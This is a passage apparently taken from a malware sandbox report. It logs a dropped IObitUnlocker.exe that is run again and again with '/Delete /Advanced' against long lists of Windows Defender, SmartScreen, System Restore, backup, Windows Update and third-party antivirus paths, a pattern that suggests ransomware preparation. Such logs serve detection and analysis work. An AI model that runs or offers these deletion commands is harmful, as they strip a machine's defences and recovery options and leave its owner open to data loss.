Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:3204
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\Logs\WindowsUpdate","C:\Windows\Logs\CBS","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of SetWindowsHookEx
        
        PID:2904
    - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
        
        C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderAppl icationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Users\Default\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive","C:\Users\Default\AppData\Local\OneDrive","C:\Users\Default\AppData\Roaming\Microsoft\OneDrive","C:\Users\Default\AppData\Roaming\OneDrive","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\logs","C:\Users\Default\AppData\Local\Microsoft\OneDrive\setup\cache","C:\Users\Default\AppData\Local\Microsoft\OneDrive\settings","C:\Users\Default\AppData\Local\Microsoft\OneDrive\temp","C:\Windows\system32\OneDriveSetup.exe","C:\Windows\system32\OneDrive.ico","C:\Windows\system32\OneDriveStandaloneUpdater.exe","C:\Windows\SysWOW64\OneDriveSetup.exe","C:\Windows\SysWOW64\OneDrive.ico","C:\Windows\SysWOW64\OneDriveStandaloneUpdater.exe","C:\Windows\system32\Tasks\Microsoft\Windows\OneDrive","C:\Windows\system32\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\OneDrive","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Setup\OneDrive Setup","C:\Windows\system32\drivers\OneDrive.sys","C:\Windows\SysWOW64\drivers\OneDrive.sys","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled 